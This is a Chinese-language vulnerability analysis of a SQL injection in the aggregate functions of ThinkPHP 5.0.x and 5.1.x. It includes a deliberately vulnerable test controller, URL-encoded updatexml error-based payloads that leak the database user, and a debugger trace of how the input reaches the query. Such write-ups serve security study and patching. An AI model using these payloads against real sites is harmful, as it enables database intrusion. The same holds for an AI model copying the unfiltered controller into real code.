目录

- 一、介绍
  - 1、简介
  - 2、版本
  - 3、搭建环境
  - 4、参考链接
- 二、复现
  - 1、Payload
  - 2、效果
- 三、分析
- 四、流程图

一、介绍

1、简介

该漏洞存在于所有Mysql聚合函数相关方法。由于程序没有对数据进行很好的过滤，直接将数据拼接金SQL语句，最终导致SQL注入漏洞的产生。

2、版本

```
5.0.0 <= ThinkPHP <= 5.0.21
5.1.3 <= ThinkPHP <= 5.1.25
```

3、搭建环境

```
1) 获取测试环境
composer create-project --prefer-dist topthink/think=5.1.25 ThinkPHP_5.1.25

2) 修改composer.json文件中的require字段
"require": {
    "php": ">=5.6.0",
    "topthink/framework": "5.1.25"
},

3) 执行composer更新版本语句
composer update

4) 修改控制器文件 application/index/controller/Index.php
<?php
namespace app\index\controller;

class Index
{
    public function index()
```

```
        {
            $options = request()->get('id');
            $result = db('users')->max($options);
            var_dump($result);
        }
    }

    5) 修改数据库配置信息

    6) 开启app_debug和app_trace config/app.php

    7) 创建数据库信息
    create database tpdemo;
    use tpdemo;
    create table users(
        id int primary key auto_increment,
        username varchar(50) not null
    );
    insert into users(id,username) values(1,'Mochazz');
    insert into users(id,username) values(2,'Jerry');
    insert into users(id,username) values(3,'Kitty');
```

4、参考链接

```
    https://www.cnblogs.com/litlife/p/11312796.html
```

二、复现

1、Payload

```
    5.0.0 ~ 5.0.21、5.1.3 ~ 5.1.10：id)%2bupdatexml(1,concat(0x7,user(),0x7e),1)
from users%23
    5.1.11 ~ 5.1.25：id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
```

2、效果

三、分析

1、传入参数id=xxx，开启Debug。

```php
<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $options = request()->get('id');  $options: "xxx"
        $result = db( name: 'users')->max($options);
        var_dump($result);
    }
}
```

2、直接跟进到max函数，这里调用了aggregate函数，并将id的值作为参数。

```php
public function max($field, $force = true)  $field: "xxx"
{
    return $this->aggregate( aggregate: 'MAX', $field, $force);
}
```

3、跟进到aggregate函数，这里调用了Connection类的aggregate函数，将id的值传入并作为第三个参数。

```php
public function aggregate($aggregate, $field, $force = false)  $aggregate: "MAX"  $field: "xxx"  $force:
{
    $this->parseOptions();  $this: {event => [0], extend => [1], readMaster => [0], connection => think\db\

    $result = $this->connection->aggregate($this, $aggregate, $field);  $aggregate: "MAX"  $field: "xxx"

    if (!empty($this->options['fetch_sql'])) {
        return $result;
    } elseif ($force) {
```

4、跟进到Connection类的aggregate函数，这里调用了Builder类的parseKey函数，将id的值作为第二个参数。

```php
public function aggregate(Query $query, $aggregate, $field)  $aggregate: "MAX"  $field: "xxx"  $query: {event =>
{
    $field = $aggregate . '(' . $this->builder->parseKey($query, $field, true) . ') AS tp_' . strtolower($aggregate);

    return $this->value($query, $field,  default: 0);
}
```

5、跟进到parseKey函数，这里id的值作为$key变量传了进来，并在后面的代码中对$strict进行了判断。因为$strict是上面传入的true，所以这里先逻辑或判断，为真；然后和$key进行逻辑与判断，也为真，就在id的值前后加了反引号``。

```
public function parseKey(Query $query, $key, $strict = false)   $key: "xxx"
{
    if (is_numeric($key)) {
        return $key;
    } elseif ($key instanceof Expression) {
        return $key->getValue();
    }
```

```
    if ('*' != $key && ($strict || !preg_match( pattern: '/[,\'\"\*\(\)`.\s]/', $key))) {   $key: "xxx"   $strict: true
        $key = '`' . $key . '`';
    }

    if (isset($table)) {
        if (strpos($table, needle: '.')) {
            $table = str_replace( search: '.', replace: '`.`', $table);
        }

        $key = '`' . $table . '`.' . $key;
    }

    return $key;
}
```

6、出来之后，SQL语句变成了：
MAX(`xxx`) AS tp_max

```
        return $this->value($query, $field, default: 0);   $field: "MAX(`xxx`) AS tp_max"
    }
```

7、此时将xxx替换成Payload重新传入，SQL语句变成了：
MAX(`id),(updatexml(1,concat(0x7,user(),0x7e),1)#`) AS tp_max
也就成功造成了SQL注入。

```
public function aggregate(Query $query, $aggregate, $field)   $aggregate: "MAX"   $field: "MAX(`id),(updatexml(1,concat(0x7,use
{
    $field = $aggregate . '(' . $this->builder->parseKey($query, $field, true) . ') AS tp_' . strtolower($aggregate);   $aggrega

    return $this->value($query, $field, default: 0);   $field: "MAX(`id),(updatexml(1,concat(0x7,user(),0x7e),1)#`) AS tp_max"
}

/**
 * 得到某个列的数组
 * @access public
 * @param  Query     $query 查询对象
```

[1045] PDOException in Connection.php line 528

SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: NO)

```
519.        try {
520.            if (empty($config['dsn'])) {
521.                $config['dsn'] = $this->parseDsn($config);
522.            }
523.
524.            if ($config['debug']) {
525.                $startTime = microtime(true);
526.            }
527.
528.            $this->links[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $params);
529.
530.            if ($config['debug']) {
531.                // 记录数据库连接信息
532.                $this->log('[ DB ] CONNECT:[ UseTime:' . number_format(microtime(true) - $startTime, 6) . 's ] ' . $config['dsn']);
533.            }
534.
535.            return $this->links[$linkNum];
536.        } catch (\PDOException $e) {
537.            if ($autoConnection) {
```

四、流程图


POST
http://localhost:8000/index/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)%20from%20users%23
Params
Send
Save
Key
Value
Description
Bulk Edit
options
id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)%20from%20users%23
class Query
public function max($field, $force = true){
return $this->aggregate('MAX', $field, $force);
public function aggregate($aggregate, $field, $force = false){
$this->parseOptions();
$result = $this->connection->aggregate($this, $aggregate, $field);
// $this->connection: think\db\connector\Mysql
return $result;
abstract class Connection
$field: "id`)+updatexml(1,concat(0x7,user(),0x7e),1) from users#"
public function aggregate(Query $query, $aggregate, $field)
$field = $aggregate . '(' . $this->builder->parseKey($query, $field, true) .
') AS tp_' . strtolower($aggregate);
// $this->builder: think\db\builder\Mysql
return $this->value($query, $field, 0);
abstract class Connection
$field: "MAX(`id`)+updatexml(1,concat(0x7,user(),0x7e),1) from users#`) AS tp_max"
public function value(Query $query, $field, $default = null){
$sql = $this->builder->select($query); // 生成查询SQL
// $this->builder: think\db\builder\Mysql
abstract class Builder
public function select(Query $query)
$options = $query->getOptions();
return str_replace(
[... , '%FIELD%', ...],
[... ,
$this->parseField($query, $options['field']),
... ,
] , $this->selectSql);
abstract class Builder
protected function parseField(Query $query, $fields){
field: array(5)
0: "MAX(`id`)+updatexml(1"
1: "concat(0x7"
2: "user()"
3: "0x7e)"
4: "1) from users#`) AS tp_max"
if ('*' == $fields || empty($fields)) { ...
} elseif (is_array($fields)) {
$array = [];
foreach ($fields as $key => $field) {
if (!is_numeric($key)) { ...
} else {
$array[] = $this->parseKey($query, $field);
}
}
$fieldsStr = implode(',', $array);
}
return $fieldsStr;
$fieldsStr: "MAX(`id`)+updatexml(1,concat(0x7,user(),0x7e),1) from users#`) AS tp_max"